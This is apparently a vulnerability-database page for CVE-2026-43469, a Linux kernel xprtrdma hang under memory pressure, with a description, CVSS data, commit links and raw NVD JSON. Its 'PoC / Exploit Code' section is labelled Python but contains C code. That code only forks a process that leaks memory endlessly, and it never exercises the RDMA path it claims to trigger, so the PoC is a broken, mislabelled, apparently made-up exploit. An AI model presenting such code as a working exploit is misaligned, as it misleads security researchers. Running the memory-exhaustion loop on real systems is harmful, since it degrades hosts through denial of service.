CVE-2026-43469

Description

In the Linux kernel, the following vulnerability has been resolved: xprtrdma: Decrement re_receiving on the early exit paths In the event that rpcrdma_post_recvs() fails to create a work request (due to memory allocation failure, say) or otherwise exits early, we should decrement ep->re_receiving before returning. Otherwise we will hang in rpcrdma_xprt_drain() as re_receiving will never reach zero and the completion will never be triggered. On a system with high memory pressure, this can appear as the following hung task: INFO: task kworker/u385:17:8393 blocked for more than 122 seconds. Tainted: G S E 6.19.0 #3 "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. task:kworker/u385:17 state:D stack:0 pid:8393 tgid:8393 ppid:2 task_flags:0x4248060 flags:0x00080000 Workqueue: xprtiod xprt_autoclose [sunrpc] Call Trace: <TASK> __schedule+0x48b/0x18b0 ? ib_post_send_mad+0x247/0xae0 [ib_core] schedule+0x27/0xf0 schedule_timeout+0x104/0x110 __wait_for_common+0x98/0x180 ? __pfx_schedule_timeout+0x10/0x10 wait_for_completion+0x24/0x40 rpcrdma_xprt_disconnect+0x444/0x460 [rpcrdma] xprt_rdma_close+0x12/0x40 [rpcrdma] xprt_autoclose+0x5f/0x120 [sunrpc] process_one_work+0x191/0x3e0 worker_thread+0x2e3/0x420 ? __pfx_worker_thread+0x10/0x10 kthread+0x10d/0x230 ? __pfx_kthread+0x10/0x10 ret_from_fork+0x273/0x2b0 ? __pfx_kthread+0x10/0x10 ret_from_fork_asm+0x1a/0x30

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel < 6.19 (Based on report date)

Linux Kernel stable versions prior to commits 49f53ee, 74c39a4, 7b6275c, 7ea6925, 8127b5f

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC Concept for CVE-2026-43469
 * This C code conceptually demonstrates how memory pressure
 * combined with RDMA operations might trigger the race condition.
 * Requires a system with RDMA capabilities and kernel < patch version.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <rdma/rdma_verbs.h>

#define BUFFER_SIZE 4096

void stress_memory() {
    void *ptr;
    size_t alloc_size = 100 * 1024 * 1024; // 100MB chunks
    printf("[+] Applying memory pressure...\n");
    while (1) {
        ptr = malloc(alloc_size);
        if (ptr == NULL) {
            printf("[!] Memory allocation failed, pressure applied.\n");
            sleep(1);
            continue;
        }
        memset(ptr, 0x41, alloc_size);
        // Intentionally leak memory to trigger OOM/pressure logic
    }
}

int main() {
    // Note: Actual exploitation requires specific RDMA setup (client/server)
    // This code simulates the conditions triggering the bug.
    
    printf("[+] Starting PoC simulation for CVE-2026-43469\n");
    
    // In a real scenario, an attacker would establish RDMA connections
    // and force the server into a state where rpcrdma_post_recvs fails.
    
    pid_t pid = fork();
    if (pid == 0) {
        stress_memory();
    } else {
        printf("[+] Waiting for system instability...\n");
        printf("[!] Watch for hung tasks in dmesg (rpcrdma_xprt_drain)\n");
        sleep(60);
    }
    
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43469
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43469
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43469/
[4] VulDB https://vuldb.com/cve/CVE-2026-43469
[5] https://git.kernel.org/stable/c/49f53ee4e25297d886f14e31f355ad1c2735ddfb
[6] https://git.kernel.org/stable/c/74c39a47856bddcde7874f2196a00143b5cd0af9
[7] https://git.kernel.org/stable/c/7b6275c80a0c81c5f8943272292dfe67730ce849
[8] https://git.kernel.org/stable/c/7ea69259a60a364f56cf4aa9e2eafb588d1c762b
[9] https://git.kernel.org/stable/c/8127b5fec04757c2a41ed65bca0b3266968efd3b
[10] https://git.kernel.org/stable/c/8cb6b5d8296b1f99a8d36849901ebabfe3f749db
[11] https://git.kernel.org/stable/c/dc3ebd7e2d73dbd4d317785735ffa6c4a6384ddf

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43469", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:59.957", "lastModified": "2026-05-11T08:16:15.930", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxprtrdma: Decrement re_receiving on the early exit paths\n\nIn the event that rpcrdma_post_recvs() fails to create a work request\n(due to memory allocation failure, say) or otherwise exits early, we\nshould decrement ep->re_receiving before returning. Otherwise we will\nhang in rpcrdma_xprt_drain() as re_receiving will never reach zero and\nthe completion will never be triggered.\n\nOn a system with high memory pressure, this can appear as the following\nhung task:\n\n    INFO: task kworker/u385:17:8393 blocked for more than 122 seconds.\n          Tainted: G S          E       6.19.0 #3\n    \"echo 0 > /proc/sys/kernel/hung_task_timeout_secs\" disables this message.\n    task:kworker/u385:17 state:D stack:0     pid:8393  tgid:8393  ppid:2      task_flags:0x4248060 flags:0x00080000\n    Workqueue: xprtiod xprt_autoclose [sunrpc]\n    Call Trace:\n     <TASK>\n     __schedule+0x48b/0x18b0\n     ? ib_post_send_mad+0x247/0xae0 [ib_core]\n     schedule+0x27/0xf0\n     schedule_timeout+0x104/0x110\n     __wait_for_common+0x98/0x180\n     ? __pfx_schedule_timeout+0x10/0x10\n     wait_for_completion+0x24/0x40\n     rpcrdma_xprt_disconnect+0x444/0x460 [rpcrdma]\n     xprt_rdma_close+0x12/0x40 [rpcrdma]\n     xprt_autoclose+0x5f/0x120 [sunrpc]\n     process_one_work+0x191/0x3e0\n     worker_thread+0x2e3/0x420\n     ? __pfx_worker_thread+0x10/0x10\n     kthread+0x10d/0x230\n     ? __pfx_kthread+0x10/0x10\n     ret_from_fork+0x273/0x2b0\n     ? __pfx_kthread+0x10/0x10\n     ret_from_fork_asm+0x1a/0x30"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "references": [{"url": "https://git.kernel.org/stable/c/49f53ee4e25297d886f14e31f355ad1c2735ddfb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/74c39a47856bddcde7874f2196a00143b5cd0af9", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/7b6275c80a0c81c5f8943272292dfe67730ce849", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/7ea69259a60a364f56cf4aa9e2eafb588d1c762b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/8127b5fec04757c2a41ed65bca0b3266968efd3b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/8cb6b5d8296b1f99a8d36849901ebabfe3f749db", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/dc3ebd7e2d73dbd4d317785735ffa6c4a6384ddf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}